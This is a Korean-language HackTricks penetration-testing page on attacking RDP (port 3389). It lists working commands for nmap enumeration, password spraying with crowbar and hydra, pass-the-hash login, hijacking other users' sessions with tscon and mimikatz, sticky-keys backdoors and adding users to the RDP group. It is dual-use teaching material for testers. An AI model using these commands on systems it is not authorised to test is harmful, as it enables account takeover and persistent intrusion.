3389 - Pentesting RDP

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요

실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요. 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.

기본 정보

Microsoft에서 개발한 원격 데스크톱 프로토콜 (RDP)은 네트워크를 통해 컴퓨터 간의 그래픽 인터페이스 연결을 가능하게 하도록 설계되었습니다. 이러한 연결을 설정하기 위해 사용자는 RDP 클라이언트 소프트웨어를 사용하고, 동시에 원격 컴퓨터는 RDP 서버 소프트웨어를 운영해야 합니다. 이 설정은 원격 컴퓨터의 데스크톱 환경을 원활하게 제어하고 접근할 수 있게 하여, 본질적으로 그 인터페이스를 사용자의 로컬 장치로 가져옵니다.

기본 포트: 3389

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

열거

자동

nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>

사용 가능한 암호화 및 DoS 취약성을 확인하고(서비스에 DoS를 유발하지 않음) NTLM Windows 정보를(버전) 얻습니다.

주의하세요, 계정이 잠길 수 있습니다

비밀번호 스프레이 공격

주의하세요, 계정이 잠길 수 있습니다

# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

알려진 자격 증명/해시로 연결하기

rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash

RDP 서비스에 대한 알려진 자격 증명 확인

impacket의 rdp_check.py를 사용하면 일부 자격 증명이 RDP 서비스에 대해 유효한지 확인할 수 있습니다:

rdp_check <domain>/<name>:<password>@<IP>

해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요

실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요. 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.

공격

세션 탈취

SYSTEM 권한으로 어떤 사용자에 의해서도 열린 RDP 세션에 접근할 수 있으며, 소유자의 비밀번호를 알 필요가 없습니다.

열린 세션 가져오기:

query user

선택한 세션에 대한 접근

tscon <ID> /dest:<SESSIONNAME>

이제 선택한 RDP 세션 안에 있게 되며, Windows 도구와 기능만을 사용하여 사용자를 가장해야 합니다.

중요: 활성 RDP 세션에 접근하면 해당 세션을 사용 중인 사용자가 강제로 로그아웃됩니다.

프로세스를 덤프하여 비밀번호를 얻을 수 있지만, 이 방법은 훨씬 빠르며 사용자의 가상 데스크탑과 상호작용할 수 있게 해줍니다 (비밀번호가 저장되지 않은 메모장, 다른 머신에서 열린 다른 RDP 세션 등...).

Mimikatz

이 작업을 수행하기 위해 mimikatz를 사용할 수도 있습니다:

ts::sessions        #Get sessions
ts::remote /id:2    #Connect to the session

Sticky-keys & Utilman

이 기술을 stickykeys 또는 utilman과 결합하면 언제든지 관리 CMD와 RDP 세션에 접근할 수 있습니다.

이 기술 중 하나로 백도어가 설정된 RDP를 검색할 수 있습니다: https://github.com/linuz/Sticky-Keys-Slayer

RDP Process Injection

다른 도메인에서 또는 더 나은 권한으로 RDP를 통해 당신이 관리자인 PC에 로그인하는 경우, 그의 RDP 세션 프로세스에 당신의 비콘을 주입하고 그로 행동할 수 있습니다:

RDP Sessions Abuse

Adding User to RDP group

net localgroup "Remote Desktop Users" UserLoginName /add

Automatic Tools

AutoRDPwn는 Microsoft Windows 컴퓨터에서 Shadow 공격을 자동화하기 위해 주로 설계된 Powershell로 생성된 포스트 익스플로잇 프레임워크입니다. 이 취약점(마이크로소프트에서 기능으로 나열됨)은 원격 공격자가 피해자의 동의 없이 그의 데스크탑을 볼 수 있게 하며, 심지어 운영 체제 자체의 도구를 사용하여 필요에 따라 이를 제어할 수 있게 합니다.

  • 명령줄에서 자동화된 방식으로 마우스와 키보드 제어

  • 명령줄에서 자동화된 방식으로 클립보드 제어

  • RDP를 통해 대상에 네트워크 통신을 전달하는 SOCKS 프록시 클라이언트에서 생성

  • 파일을 업로드하지 않고도 대상에서 임의의 SHELL 및 PowerShell 명령 실행

  • 파일 전송이 대상에서 비활성화되어 있어도 대상에 파일을 업로드 및 다운로드

HackTricks Automatic Commands

Protocol_Name: RDP    #Protocol Abbreviation if there is one.
Port_Number:  3389     #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.

https://book.hacktricks.xyz/pentesting/pentesting-rdp

Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}

웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요

실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요. 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기

Last updated